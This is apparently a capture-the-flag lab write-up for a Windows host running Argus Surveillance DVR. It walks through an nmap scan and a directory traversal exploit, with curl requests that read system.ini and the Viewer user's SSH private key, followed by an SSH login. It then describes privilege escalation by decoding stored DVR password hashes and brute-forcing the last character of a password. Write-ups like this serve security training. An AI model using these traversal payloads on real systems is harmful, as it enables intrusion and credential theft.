DVR4 | MAXSEC

Reading Time: 2 min read

Start 18:30 24-02-2025

Scope:
192.168.219.179

Recon

Nmap

sudo nmap -sC -sV -vvvv -p- dvr4 -sT -T5 --min-rate=5000

PORT      STATE SERVICE       REASON  VERSION
22/tcp    open  ssh           syn-ack Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0; non-commercial use)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack
5040/tcp  open  unknown       syn-ack
7680/tcp  open  pando-pub?    syn-ack
8080/tcp  open  http-proxy    syn-ack
|_http-title: Argus Surveillance DVR
|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]
|_http-favicon: Unknown favicon MD5: 283B772C1C2427B56FC3296B0AF42F7C
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Connection: Keep-Alive
|     Keep-Alive: timeout=15, max=4
|     Content-Type: text/html
|     Content-Length: 985
|     <HTML>
|     <HEAD>
|     <TITLE>
|     Argus Surveillance DVR
|     </TITLE>
|     <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|     <meta name="GENERATOR" content="Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]">
|     <frameset frameborder="no" border="0" rows="75,*,88">
|     <frame name="Top" frameborder="0" scrolling="auto" noresize src="CamerasTopFrame.html" marginwidth="0" marginheight="0">
|     <frame name="ActiveXFrame" frameborder="0" scrolling="auto" noresize src="ActiveXIFrame.html" marginwidth="0" marginheight="0">
|     <frame name="CamerasTable" frameborder="0" scrolling="auto" noresize src="CamerasBottomFrame.html" marginwidth="0" marginheight="0">
|     <noframes>
|     <p>This page uses frames, but your browser doesn't support them.</p>
|_    </noframes>
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC

445/TCP - SMB

8080/TCP - HTTP

I look up exploits matching the service:

I actually get quite a lot of them, let’s try out the Directory Traversal one.

# PoC

curl "http://dvr4:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

We indeed get the intended result.

Back on the website we find the user we’re looking for:

We want to get the ssh key of viewer so we can then log in.

curl "http://dvr4:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FViewer%2F.ssh%2Fid_rsa&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

Now that we have the id_rsa key, we can use it to log into SSH.

Foothold

EZ PZ

Let’s check out the home directory:

We notice the user already has nc.exe as well as psexec.exe in here… Might be a clue.

Let’s snatch the local.txt first.

local.txt

Privilege Escalation

PoC

We also find another PoC:

In here we see a mention of the .ini file, let’s check it out.

ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8
5E534D7B6069F641E03BD9BD956BC875EB603CD9D8E1BD8FAAFE

Notice the Unknown character here.

14WatchD0g

ImWatchingYou

Neither worked.

Let’s try the nc.exe binary then, with the help of runas.

Again no success, let’s try to brute force the last Unknown character that we found previously.

After some tries it worked:

The correct password was 14WatchD0g$

proof.txt

Finished 19:27 24-02-2025